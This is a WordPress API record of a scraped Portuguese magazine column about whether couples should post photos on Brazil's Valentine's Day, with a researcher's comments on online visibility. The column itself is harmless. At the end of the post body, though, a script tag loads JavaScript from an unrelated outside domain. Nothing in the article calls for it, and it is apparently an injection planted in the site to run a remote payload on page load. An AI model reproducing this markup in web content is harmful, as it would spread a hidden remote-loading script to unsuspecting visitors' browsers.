{"id":1701,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/preciso-publicar-uma-foto-de-casal\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"preciso-publicar-uma-foto-de-casal","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/preciso-publicar-uma-foto-de-casal\/","title":{"rendered":"preciso publicar uma foto de casal?"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Se a noite \u00e9 dos solteiros, o dia 12 de junho \u00e9 o dos namorados! Apesar de muita gente usar o argumento de que \u00e9 &#8220;apenas uma data comercial&#8221; <a href=\"https:\/\/www1.folha.uol.com.br\/mercado\/2018\/06\/pai-de-doria-criou-dia-dos-namorados-para-aumentar-vendas-do-comercio.shtml\" target=\"_blank\" rel=\"noopener\">criada pelo pai do ex-governador Jo\u00e3o Doria<\/a>, o 12 de junho mobiliza a internet. N\u00e3o importa se o casal est\u00e1 h\u00e1 um m\u00eas, um ano ou uma d\u00e9cada junto, a foto do dia dos namorados n\u00e3o pode faltar no Instagram. Ou pode?<\/p>\n<p>Para o azar de n\u00f3s, solteiros, as <a href=\"https:\/\/www.uol.com.br\/tilt\/redes-sociais\/ \">redes sociais<\/a> est\u00e3o inundadas com fotos de casais felizes e sorridentes, text\u00f5es com juras de amor eterno, e a chuva de likes vem.<\/p>\n<p>Pe\u00e7o permiss\u00e3o para criar um ditado: na internet, existem dois tipos de pessoas, o &#8220;perfil de blogueira&#8221; e o &#8220;low-profile&#8221;, ou seja, algu\u00e9m que posta at\u00e9 a foto do prato antes de comer e outro algu\u00e9m que n\u00e3o gosta muito de dar as caras pela internet. Normalmente, o casal moderno, como diz o meme, \u00e9 formado por um de cada tipo.<\/p>\n<p>Se voc\u00ea, leitor, nunca caiu numa briga sobre postagens nas redes sociais, certamente j\u00e1 ouviu alguma hist\u00f3ria do tipo e chuto que foi perto de alguma data importante, como este 12 de junho que nos assombra. O muro entre o que \u00e9 virtual e o que \u00e9 digital j\u00e1 caiu faz algum tempo, a vida real est\u00e1 nas nossas m\u00e3os, dentro de nossas telas de celulares. Tamb\u00e9m por isso, tem quem se importe, e muito, com uma postagem.<\/p>\n<p>&#8220;A decis\u00e3o de postar uma foto tem a ver com um aspecto do nosso tempo que \u00e9 a visibilidade&#8221;, afirma Issaaf Karhawi, pesquisadora em comunica\u00e7\u00e3o digital na USP (Universidade de S\u00e3o Paulo) e autora do livro &#8220;De blogueira a influenciadora&#8221;, em entrevista ao Sexting. &#8220;A gente se organiza socialmente a partir da visibilidade midi\u00e1tica. Para algo ser reconhecido como valioso, precisa tornar-se vis\u00edvel&#8221;, explica.<\/p>\n<p>Existe uma esp\u00e9cie de acordo t\u00e1cito, aquele que n\u00e3o precisa nem ser falado, de que \u00e9 preciso construir visibilidade na internet. Como dizem, quem n\u00e3o \u00e9 visto, n\u00e3o \u00e9 lembrado &#8211; e aquilo que \u00e9 vis\u00edvel, \u00e9 aquilo que importa. &#8220;O sujeito que consegue espetacularizar a pr\u00f3pria vida \u00e9 considerado bem inserido socialmente, bem ajustado, bem-sucedido&#8221;, diz Karhawi.<\/p>\n<p>Pode parecer que toda essa l\u00f3gica social surgiu apenas por causa da internet e das redes sociais, mas \u00e9 um processo que vem acontecendo h\u00e1 muito tempo. Antes do Tinder e do Instagram, as pessoas mandavam cartas para o jornal para encontrar um amor e anunciar noivados e casamentos. Antes do <a href=\"https:\/\/www.uol.com.br\/tilt\/whatsapp\/\">WhatsApp<\/a> e do TikTok, tinha quem contratava carro de som para anunciar o amor.<\/p>\n<p>&#8220;Vem de um longo processo de subjetiva\u00e7\u00e3o ao longo de d\u00e9cadas que vai reorganizando a forma como a gente se entende subjetivamente&#8221;, explica a pesquisadora. &#8220;Se, por muito tempo, quest\u00f5es privadas e \u00edntimas deveriam permanecer na esfera privada, elas s\u00e3o bem-vistas hoje quando s\u00e3o exteriorizadas.&#8221;<\/p>\n<p>Ou seja, para al\u00e9m do plano individual, postar ou n\u00e3o aquela fotinho e participar daquela corrente de amor nos stories, tem um pano de fundo social. Assim como se chatear porque o seu amor ignorou completamente o Dia dos Namorados tamb\u00e9m \u00e9 uma emo\u00e7\u00e3o gerada dentro de um contexto social em que o ato de postar importa, e muito.<\/p>\n<p>Mas e se eu n\u00e3o postar? &#8220;\u00c9 quase um perfil de subvers\u00e3o, uma oposi\u00e7\u00e3o do nosso tempo&#8221;, diz Karhawi. &#8220;Um escape do que \u00e9 mandat\u00f3rio&#8221;, completa. N\u00e3o postar nada, ser &#8220;low-profile&#8221;, \u00e9 nadar contra a corrente.<\/p>\n<h2>As correntes<\/h2>\n<p>Tem quem ache besteira participar de correntes dos stories, mas, para Karhawi, elas s\u00e3o como um passeio no tempo, como voltar aos prim\u00f3rdios da hist\u00f3ria da internet. &#8220;A ideia das correntes \u00e9 a ideia das comunidades. Vemos pessoas compartilhando a mesma ideia, gostos triviais&#8221;, afirma. &#8220;Elas re\u00fanem tudo o que \u00e9 fundante na internet, muito distante dos discursos de \u00f3dio, da polariza\u00e7\u00e3o.&#8221;<\/p>\n<p>A internet, opina a pesquisadora, \u00e9 um espa\u00e7o para pr\u00e1ticas cotidianas, n\u00e3o apenas autopromo\u00e7\u00e3o do trabalho ou fotos de look de blogueirinha, mas sim para rela\u00e7\u00f5es sociais mais genu\u00ednas, j\u00e1 que faz parte da nossa rotina. Indo al\u00e9m, a internet \u00e9, tamb\u00e9m, um lugar de amor.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/sexting\/2022\/06\/12\/publicar-ou-nao-publicar-eis-a-questao-do-namoro-moderno-no-12-de-junho.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Se a noite \u00e9 dos solteiros, o dia 12 de junho \u00e9 o dos namorados! Apesar de muita gente usar o argumento de que \u00e9 &#8220;apenas uma data comercial&#8221; criada pelo pai do ex-governador Jo\u00e3o Doria, o 12 de junho mobiliza a internet. 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